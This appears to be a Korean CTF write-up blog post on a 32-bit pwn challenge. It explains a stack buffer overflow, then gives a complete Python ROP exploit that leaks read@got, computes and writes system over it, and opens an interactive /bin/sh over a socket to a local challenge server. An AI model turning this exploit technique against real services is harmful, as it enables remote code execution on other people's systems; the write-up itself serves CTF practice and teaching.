(환경 : Ubuntu 16.04, libc.so.6)
문제를 풀기 위해 xinetd를 사용하여 환경 세팅을 해주었다.
세팅을 완료한 후 원격으로 문제에 접속을 하였다.
특정한 값을 입력받으면 WIN을 돌려보내주는 프로그램인 것 같다.
해당 문제에는 NX(No Excutable) 보호기법이 적용되어있었다.
IDA를 통해 바이너리를 살펴보니 sub_80483F4() 라는 함수가 존재하였고, return을 통해 write()를 반환하고 있었다.
sub_80483F4() 함수를 살펴보았다.
이곳에 취약점이 존재하는 것을 알 수 있다.
buf의 최대 크키가 136(88h)인데 read 함수를 통해 받는 값 크기는 256이다. 따라서 bof가 일어나게 된다.
A를 136개 입력했을 때는 'WIN'이 떴으나, 140개부터는 뜨지 않는 것을 통해 알 수 있다.
ROP를 통해 이 문제를 풀 수 있다.
1. system의 인자값("bin/sh")를 쓰기 가능한 메모리 영역(.dynamic, .data , .bss 등)에 복사
2. write@plt를 사용하여 read함수의 got를 구한다.
3. read함수의 got와 offset값을 이용해 system의 주소를 구한다.
4. read_got 값을 system 주소로 덮어버린다.
5. system 함수 호출
[ Exploit Code ]
from socket import *
from struct import *
from time import *
p = lambda x : pack("<I", x)
up = lambda x : unpack("<I", x)[0]
ip = '127.0.0.1'
port = 6666
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
offset = 0x99b00 # libc.so.6 read - system
binsh_addr = 0x8049530
pppr = 0x80484b6
cmd = "/bin/sh\x00"
payload = ''
payload += "A"*140 # buf 136 + sfp
# binsh_addr
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(binsh_addr)
payload += p(len(cmd))
# libc
payload += p(write_plt)
payload += p(pppr)
payload += p(1)
payload += p(read_got)
payload += p(4)
# read -> system
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(read_got)
payload += p(4)
#system
payload += p(read_plt)
payload += "AAAA"
payload += p(binsh_addr)
print "[*] send payload..."
s.send(payload + "\n")
s.send(cmd)
libc_offset = up(s.recv(4))
system_addr = libc_offset - offset
sleep(1)
s.send(p(system_addr))
# Get shell
while 1:
input_string = raw_input('$ ')
s.send(input_string + "\n")
if input_string == 'exit':
s.close()
break
print s.recv(1024)
'CTF > etc.' 카테고리의 다른 글
[Plaid CTF 2015] EBP (0) | 2018.04.19 |
---|---|
[TJCTF 2016] oneshot (0) | 2018.02.13 |
[Defcon 26 quals 2016] feedme (0) | 2017.11.19 |
[QIWI CTF 2016] PWN 200_3 (0) | 2016.12.06 |
[Defcon 25 quals 2015] r0pbaby (0) | 2016.11.10 |